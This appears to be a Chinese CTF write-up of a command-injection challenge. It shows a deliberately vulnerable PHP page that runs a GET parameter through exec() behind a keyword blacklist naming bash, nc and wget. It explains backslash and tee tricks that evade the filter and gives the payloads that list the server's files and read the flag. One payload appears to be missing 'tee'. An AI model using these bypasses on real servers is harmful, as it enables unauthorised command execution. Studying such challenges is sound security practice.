[SWPUCTF 2021 新生赛]finalrce

 <?php
 highlight_file(__FILE__);
 if(isset($_GET['url']))
 {
     $url=$_GET['url'];
     if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
     {
         echo "Sorry,you can't use this.";
     }
     else
     {
         echo "Can you see anything?";
         exec($url);
     }
 }

过滤了很多东西,直接读文件和反弹shell不太能用了,并且这里如果直接取反的话是无回显的,所以我们要么写文件要么反弹shell,但是正常写文件的>符号被过滤,反弹shell的bash、nc、&、>等符号都被过滤了,我直接无从下手了

这里就需要绕过关键字过滤,看了一下大佬们的wp

转义符\绕过

转义字符是用于在字符串中表示特殊字符的符号。它通常以反斜杠(\)开头,后面跟随一个特定的字符,以表示该字符的特殊含义或防止其被解释为其他含义。在不同的编程语言或环境中,转义字符的实际含义可能会有所不同,但在许多情况下,它们用来处理以下几种情况:

1. 表示特殊字符:

某些字符在字符串中有特殊的意义,使用转义字符可以让它们被当作普通字符来处理。例如:

  • \':表示单引号字符。

  • \":表示双引号字符。

  • \\:表示反斜杠字符。

2. 代表不可见或控制字符:

转义字符还可以用来表示不可见或控制字符,如:

  • \n:换行符。

  • \t:制表符。

  • \r:回车符。

3. 编码字符:

某些程序或语言支持通过转义字符来表示Unicode字符,如:

  • \uXXXX:表示对应的Unicode字符,其中XXXX是四位十六进制数字。

示例:
 command | tee [OPTION]... [FILE]...  

在PHP中,转义字符在字符串中用来处理复杂的字符:

 $example = "He said, \"Hello, World!\""; // 双引号需要转义
 $path = "C:\\Program Files\\MyApp"; // 反斜杠需要转义

tee命令绕过>过滤

我们正常写文件要用到>符号,这里被过滤了,我们可以利用linux系统的tee命令来写文件

tee 命令是 Linux 中一个非常有用的命令行工具,它用于从标准输入读取数据,并将其同时输出到标准输出(通常是终端)和一个或多个文件中。它的名称来自于字母“T”,形象地表示数据分流的过程。

基本语法
 command | tee [OPTION]... [FILE]... 
 
常用选项
  • -a:将输出追加到文件末尾,而不是覆盖文件。

  • -i:忽略中断信号。

使用示例
  1. 基本用法: 将 echo 的输出同时显示在终端和文件中:

     echo "Hello World" | tee output.txt  

    这会将 "Hello World" 输出到终端,并同时写入 output.txt 文件。

  2. 追加到文件: 使用 -a 选项将内容追加到文件中:

     echo "Another line" | tee -a output.txt 
     

    这会将 "Another line" 添加到 output.txt 文件的末尾,而不会覆盖原有内容。

  3. 从其他命令获取输出: 将 ls 命令的输出同时传递给 tee 命令:

     ls -l | tee output.txt  

    这会将 ls -l 的输出显示在终端上,并保存到 output.txt 文件中。

  4. 多个文件: 将输出同时写入多个文件:

     echo "Log message" | tee file1.txt file2.txt  

    这会将 "Log message" 同时写入 file1.txtfile2.txt

解题

知道怎么绕过关键字过滤本题解法就一目了然了

首先查看根目录文件

 ?url=l\s / | tee 1.txt

然后我们访问1.txt就可以看到回显内容,看到flag文件flllllaaaaaaggggggg,我们访问

 ?url=tac /flllll\aaaaaaggggggg | 1.txt

由于la被过滤,所以l和a中间要加转义符,访问1.txt,拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值